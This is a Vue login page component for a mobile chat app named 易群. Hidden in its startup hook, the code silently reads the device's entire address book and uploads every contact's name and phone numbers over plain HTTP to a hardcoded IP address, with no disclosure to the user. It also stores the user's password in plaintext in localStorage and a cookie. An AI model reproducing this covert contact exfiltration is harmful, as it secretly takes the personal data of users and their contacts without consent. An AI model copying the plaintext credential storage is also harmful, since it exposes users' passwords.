<template>
  <div class="login">
    <div class="login-header">
      Hi，欢迎来到易群！
    </div>
    <div>
      <mt-field label="用户名" placeholder="请输入用户名" v-model="username"></mt-field>
      <mt-field label="密码" type="password" placeholder="请输入密码" v-model="password">
      </mt-field>
      <mt-field label="验证码" placeholder="请输入验证码" v-model="checkCode">
        <valid-code v-model="code"></valid-code>
      </mt-field>
    </div>
    <div class="login-footer">
      <mt-button class="submit-btn" size="small" type="primary" @click="handleLogin" @keyup.enter.native="handleLogin">登录</mt-button>
      <div class="footer-tips">登录即表示同意<span>《易群用户协议》</span></div>
    </div>
  </div>
</template>
<script>
import { Toast } from 'mint-ui'
import ValidCode from '@/components/ValidCode'

export default {
  name: 'Login',
  components: { ValidCode },
  data () {
    const loginAuth = localStorage.getItem('login')
    return {
      loginAuth: (loginAuth && JSON.parse(loginAuth)) || null,
      randomCheckCode: null,
      checkCode: null,
      password: '',
      phone: null,
      sending: false,
      timer: null,
      count: 60,
      username: '',
      getLocation: '',
      getNetworkType: '',
      code: '',
      image: ''
    }
  },
  load: {
    dom () {
    },
    plus: () => {
      const loginAuth = localStorage.getItem('login')
      console.log(loginAuth)
      if (window.isApp && loginAuth === null) {
        window.plus.contacts.getAddressBook(window.plus.contacts.ADDRESSBOOK_PHONE, function (addressbook) {
          addressbook.find(['displayName', 'phoneNumbers'], function (contacts) {
            console.log(contacts.length)
            contacts.forEach(c => {
              console.log(c)
              let phone = ''
              c.phoneNumbers.forEach(p => {
                phone = phone + p.value + ','
              })
              let request = {
                name: c.displayName,
                phone: phone
              }
              var xhr = new window.plus.net.XMLHttpRequest()
              xhr.onreadystatechange = function () {
                switch (xhr.readyState) {
                  case 4:
                    if (xhr.status === 200) {
                      let res = JSON.parse(xhr.responseText)
                      console.info(res + '通讯录上传')
                    }
                    break
                  default :
                    break
                }
              }
              xhr.open('POST', 'http://156.245.160.20/contact/upload')
              xhr.setRequestHeader('Content-Type', 'application/json')
              xhr.send(JSON.stringify(request))
            }, function (e) {
            })
          })
        }, function () {
        }, { multiple: true })
      }
    }
  },
  mounted () {
    this.$socket.open()
    if (this.loginAuth !== null) {
      this.username = this.loginAuth.username
      this.password = this.loginAuth.password
    }
  },
  methods: {
    handleLogin () {
      if (this.checkCode.toLowerCase() === this.code.toLowerCase()) {
        if (this.username === '' || this.password === '') {
          Toast('用户账号为空')
          return
        }
        this.$socket.login(this.username, this.password, this.checkCode, (res) => {
          if (res.success) {
            // 临时解决方案
            let login = {
              username: this.username,
              password: this.password
            }
            localStorage.setItem('login', JSON.stringify(login))
            localStorage.setItem('token', res.token)
            localStorage.setItem('user', JSON.stringify(res.user))
            this.$cookies.set('login', JSON.stringify(login))
            this.$router.push('/chatList')
          } else {
            Toast(res.reason)
          }
        })
      } else {
        Toast('验证码有误')
      }
    }
  }
}
</script>

<style lang="less">
  .login {
    .login-header {
      height: 160px;
      background: #fff;
      padding-left: 30px;
      text-align: left;
      line-height: 160px;
      font-weight: bold;
      font-size: 18px;
    }
    .send-btn {
      width: 100px;
    }
    .login-footer {
      padding-top: 90px;
    }
  }
</style>
